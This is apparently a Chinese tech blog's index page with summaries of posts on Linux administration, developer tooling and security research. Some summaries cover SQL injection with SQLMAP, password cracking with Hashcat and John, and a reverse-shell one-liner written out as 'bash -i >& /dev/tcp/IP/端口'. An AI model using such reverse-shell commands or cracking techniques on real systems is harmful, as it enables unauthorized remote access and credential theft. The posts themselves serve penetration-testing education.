// BLOG
Blog
拆开、记下、再走一遍。
Linux深入理解 LVM 逻辑卷管理:从原理到救援模式实战
本文介绍了LVM逻辑卷管理的原理及在Finnix救援模式下的实战操作。首先通过运维工程师小王遇到的Alpine Live CD无法挂载LVM分区的问题,引出LVM的核心概念和分层架构,包括物理卷(PV)、卷组(VG)和逻辑卷(LV)。然后详细讲解如何利用Finnix这一轻量救援工具,通过扫描LVM组件、激活卷组、挂载逻辑卷等步骤,实现对LVM分区数据的访问和修复。最后总结了LVM救援的核心逻辑和操作速查表,为运维人员提供了实用的技术指导。
阅读 →
Linux【Git 实战排障】配置了 GitHub SSH 密钥,为啥推送时还要登录?
GitHub配置SSH密钥后仍需输入密码,是因为本地仓库使用了HTTPS协议而非SSH协议。解决方法是将远程仓库地址从HTTPS格式(如https://github.com/用户名/仓库.git)改为SSH格式(git@github.com:用户名/仓库.git),通过git remote set-url命令修改即可。同时需确保SSH密钥配置正确,建议克隆新仓库时直接使用SSH地址。该问题根源在于不同协议的认证方式差异,HTTPS依赖账号密码,而SSH则使用密钥认证。
阅读 →
WindowsVisual Studio 编译选项详解
本文推荐两个Microsoft官方文档,帮助开发者深入了解Visual Studio的MSVC编译器(cl.exe)和编译选项设置。第一篇文档详细讲解如何在项目属性页中配置编译器选项,包括优化、代码生成等类别,并配有界面截图和对应命令行参数说明。第二篇是MSVC编译器选项的完整参考手册,按类别和字母顺序列出所有选项(如/O2优化、/EH异常处理等),并标注IDE中的对应位置。
阅读 →
Linux反弹Shell场景中bash -c与直接bash -i的适用差异解析
反弹Shell命令中直接使用bash -i >& /dev/tcp/IP/端口与嵌套bash -c "bash -i >& /dev/tcp/IP/端口"的区别源于执行环境的差异。前者要求当前环境为纯净的bash且无干扰,后者通过外层bash -c创建独立上下文,解决非bash环境或环境污染问题。由于两种方式分别针对"环境干净"和"环境受限"的互斥场景,故几乎不会同时适用,本质是bash进程上下文隔离特性的体现。
阅读 →
安全研究Ubuntu 虚拟机配置静态 IP
本文详细介绍了在Ubuntu虚拟机中配置静态IP的完整流程。通过Netplan工具,从查看网卡状态、清理冲突配置,到编辑YAML文件、设置权限并应用配置,一步步指导用户完成静态IP设置。重点包括:确认网卡名称、关闭DHCP、配置IP/网关/DNS、测试网络连通性等关键步骤,并提供了常见问题解决方案(如外网访问失败、语法错误等)。适用于Ubuntu 20.04及以上版本,帮助用户解决虚拟机网络配置问题。
阅读 →
红队渗透精通 SQLMAP 渗透测试:核心功能全解析与实战指南
本文系统解析SQLMAP在SQL注入实战中的核心应用,涵盖命令执行、交互式shell获取、权限检测等高级功能,详细说明请求延时配置规避防护机制的方法,并提供POST登陆框注入的三种实战方案(BurpSuite抓包、自动识别表单、手动POST数据)。针对主流数据库(Access/MySQL/MSSQL)的注入流程进行差异化拆解,从注入检测到数据提取形成完整技术闭环,为安全测试人员提供可落地的渗透测试指南。
阅读 →Github Copilot Pro 学生认证开通
事实上,Github Copilot马上就要开源了,我原本的认证过期了。但是在我体验了众多的代码补全工具实在是太难用了之后,我觉得一天也等不了了,就去再一次认证了学生认证。这次严格了很多,要求巨无敌多,这里写一下新认证要干的事情。一口气认证了八次的含金量谁懂,把要踩的坑全踩完了。。
阅读 →
Windows为什么我把VSCode换成了Code-Server
本文探讨了开发者在Windows笔记本上使用VS Code和WSL进行开发时面临的内存瓶颈问题,并提出了迁移至NAS部署的Code-Server解决方案。通过Docker容器化部署Code-Server,实现了计算与渲染分离,显著降低了本地内存占用。文章详细介绍了部署脚本、典型开发场景配置以及常见问题的解决方法,为开发者提供了完整的环境迁移指南。这一方案不仅优化了16GB内存设备在多项目并行时的性能表现,还实现了随时随地通过浏览器访问开发环境的灵活性。
阅读 →
安全研究基于 Apache 规则拦截目录扫描器请求:实测与配置指南
本文针对Web目录扫描器攻击,提出基于Apache Rewrite规则的拦截方案。通过实测6款主流扫描工具的User-Agent特征,发现Wfuzz、ffuf、Gobuster等工具具有可识别关键字(如"buster"、"Fuzz")。方案利用mod_rewrite模块检测UA特征,匹配则返回403禁止访问。提供.htaccess和主配置文件两种实现方式,并给出验证方法。针对无UA特征的扫描器,建议配合mod_evasive模块进行行为拦截。该方案能有效阻断多数自动化
阅读 →
LinuxBash Emacs 模式下最实用的 Alt 快捷键
本文介绍了Bash中12个实用的Alt组合快捷键,可显著提升命令行操作效率。重点推荐6个最常用组合:Alt+.快速粘贴上条命令参数、Alt+b/f按单词移动光标、Alt+t交换相邻单词、Alt+u/l/c转换大小写、Alt#注释整行、Altr撤销修改。这些技巧能帮助用户减少重复输入,提高编辑速度,建议通过10分钟练习掌握这些"神键",一旦熟练使用将大幅提升Bash操作体验。
阅读 →
杂记什么是Unix哲学?或者:如何像克尼汉一样思考、像里奇一样编码、像汤普森一样架构
Unix哲学并非一套过时的古董,而是穿越时空的软件开发智慧。它的核心是简约、实用、复用与组合,教会我们用简单的方法解决复杂的问题,用模块化的思维构建灵活的系统。对于现代开发者来说,学习并践行Unix哲学,不仅能够提升开发效率、改善代码质量,还能够培养正确的软件开发思维。像克尼汉一样思考,意味着要善于提炼核心问题,用清晰、简洁的思路解决问题;像里奇一样编码,意味着要追求代码的高效、可靠与可复用,让每个模块都只做好一件事;像汤普森一样架构,意味着要具备分层思维与组合思维,构建灵活、可扩展的系统。
阅读 →
LinuxBash One-Liners 学习精要指南
本文系统介绍Bash单行命令的高效用法,涵盖文件操作、字符串处理等核心场景。通过重定向、参数扩展等内置特性实现简洁强大的功能: 文件操作:清空/追加文件、随机读取行、路径解析等 字符串处理:生成序列、拆分/连接字符串、模式替换等 采用Bash原生语法(如${var##*/}提取文件名),减少外部命令依赖 强调正确引用和IFS处理,避免常见陷阱
阅读 →
安全研究网站压缩包上传解压功能的漏洞剖析
压缩包上传解压功能因高效便捷被广泛应用,但其安全漏洞频发,主要包括:1)软链接攻击,通过恶意符号链接篡改敏感文件;2)目录遍历漏洞(Zip Slip),利用路径拼接缺陷突破限制;3)恶意脚本绕过,压缩包内藏可执行文件规避检测;4)条件竞争漏洞,利用时间差留存恶意文件;5)解压异常残留,异常退出导致文件未清理;6)第三方组件漏洞,依赖缺陷组件引发风险。防护需多维度措施:严格校验压缩内容、最小化解压权限、更新组件版本、完善日志监控,构建全流程安全防线。
阅读 →
杂记你真的会用搜索引擎吗?网页搜索进阶指南
本文系统介绍了高效信息检索的三步方法论与核心搜索指令。首先提出"明确目标-定位范围-优化策略"的搜索逻辑,强调精准关键词提炼、多源验证和高级指令运用。重点解析13种高级搜索指令,包括完全匹配、交集/并集搜索、排除干扰项、文件格式限定、站内检索等,并提供组合应用示例。最后针对电子书、电影、学术文献三类资源提供专项检索技巧,包括优质平台推荐和关键词优化方法。全文以实用为导向,帮助用户突破信息过载困境,实现精准高效的信息获取。
阅读 →深度学习中conda批量管理与克隆环境实操
深度学习项目开发中,克隆基础环境可高效复用通用依赖包(如数据处理、可视化工具),避免重复配置。通过conda create -n 环境名 --clone base命令快速创建隔离环境,防止不同项目间的依赖冲突(如TensorFlow版本差异)。相比直接使用base环境,克隆方案更安全(避免核心依赖被破坏)、更灵活(支持版本隔离),且环境崩溃后可快速重建。配套提供环境激活、依赖安装、导出/导入等批量管理命令,实现高效的多项目开发环境管理。
阅读 →
安全研究Claude Code、Codex、Gemini 配置自定义 API
本文介绍了三种AI命令行工具(Claude Code、Codex和Gemini CLI)的API代理配置方法。详细说明了各工具的安装步骤、配置文件路径和内容格式(JSON/TOML/.env),并提供了Windows、macOS和Linux系统的配置指南。文章还对比了三种工具的配置难度,给出了API密钥安全防护、环境变量持久化、配置文件权限设置等注意事项,以及常见问题的排查方法。配置过程涉及环境变量设置、文件编辑和权限管理等操作,帮助用户顺利对接自定义API代理。
阅读 →
WindowsWindows 下 Git Bash 终端高效配置指南【建议收藏】
Git Bash为Windows开发者提供了无缝衔接Linux命令行体验的解决方案。本文介绍了Git Bash的核心优势(命令兼容、工具链齐全、跨平台一致),详细讲解了安装方法及将其设为默认终端的配置步骤(Windows Terminal和VSCode)。针对常见问题如配置文件加载异常、终端前缀冗余和中文乱码,提供了实用解决方案,帮助开发者高效搭建Windows下的Linux开发环境。
阅读 →
安全研究Apache php 两种运行模式:mod_php 与 php-fpm
PHP运行模式对比:mod_php与php-fpm的技术解析 摘要:本文深入分析PHP两种主流运行模式的技术差异。mod_php作为Apache的嵌入式模块,通过共享进程空间实现高效执行,适合中小规模应用;php-fpm采用独立进程池架构,通过FastCGI协议与Web服务器通信,支持高并发和灵活部署。文章从历史演进、技术原理、性能特性、安全隔离等方面对比两种模式,指出mod_php适合简单部署场景,而php-fpm更适应现代高并发需求。
阅读 →
Windows调整JAR文件的缩放设置适配高分辨率屏幕
Windows系统下Java程序因高DPI导致显示异常时,可通过修改Java.exe属性解决。具体步骤为:右键Java.exe→属性→兼容性→勾选"替代高DPI缩放行为"→选择"系统"缩放方式。修改后重启程序即可恢复正常显示。该方法能有效解决高DPI环境下Java程序字体和窗口过小的问题。
阅读 →
红队渗透【最新版】Hashcat 用法详解
Hashcat v7+ 提供强大的密码恢复功能,支持300+哈希算法和5种攻击模式(字典/组合/暴力/混合/规则)。本文详细介绍其安装配置、核心语法(如攻击模式选择、GPU优化、会话管理)和密文自动识别技术,包含实战示例和参数速查表,帮助安全人员高效执行渗透测试和密码审计。
阅读 →
安全研究JS 逆向加解密:堆栈原理与四大定位技巧
本文介绍了前端逆向工程中定位加解密逻辑的核心方法论。首先强调理解调用堆栈原理的重要性,堆栈记录了函数执行脉络,是逆向追溯数据流的关键。通过四种精准定位方式: 全局搜索:适用于已知加密特征的快速定位 事件断点:从用户操作反向追踪加密逻辑 XHR/Fetch断点:从网络请求逆向加密源头 启动器调试:处理动态加载代码场景 掌握"先理解执行流程,再定位关键代码"的逆向思维,配合堆栈分析和定位技巧,可有效提升逆向效率,避免盲目搜索。
阅读 →
杂记JavaScript 基础核心知识点
本文系统讲解JavaScript核心基础语法,重点解析变量定义、数据类型、流程控制、函数、对象和JSON六大模块。详细对比var/let/const变量声明特性,介绍基本数据类型及其转换规则,演示条件判断和循环控制结构,剖析四种函数声明方式及其差异,讲解对象创建与属性访问方法,并说明JSON数据格式的序列化与反序列化操作。通过大量代码示例,帮助开发者掌握JS基础编程能力,为进阶学习打下坚实基础。
阅读 →
开发工具Python argparse 库使用教程
本文介绍了Python中argparse模块的使用方法,包括基础参数解析、进阶功能以及子命令处理。首先概述了命令行参数的作用和基本使用场景,然后详细讲解了ArgumentParser.add_argument()的各项参数配置,如参数类型、默认值、必选项等。重点分析了nargs和actions参数的特殊用法,并通过案例展示了互斥参数和子命令的实现方式。文章还提供了完整的代码示例,包括MySQL和Redis子命令的参数配置,帮助开发者快速掌握命令行参数处理技巧。
阅读 →
红队渗透Hash家族与密码破解工具:从*2john原理到John与Hashcat的深度对比
本文系统剖析了密码安全领域的核心工具与技术。首先介绍了密码哈希的基本概念和主流算法(如MD5、SHA、bcrypt等),重点分析了现代密码哈希算法的设计逻辑与安全特性。随后详细讲解了*2john工具家族的工作原理,它们能够从各类加密容器中提取可破解的哈希字符串。文章深入对比了两大密码破解工具:John the Ripper作为CPU优化的全能审计专家,支持多种破解模式和强大的规则引擎;Hashcat则凭借GPU加速能力成为速度王者,其标志性的Mask攻击实现了智能暴力破解。
阅读 →
跳到内容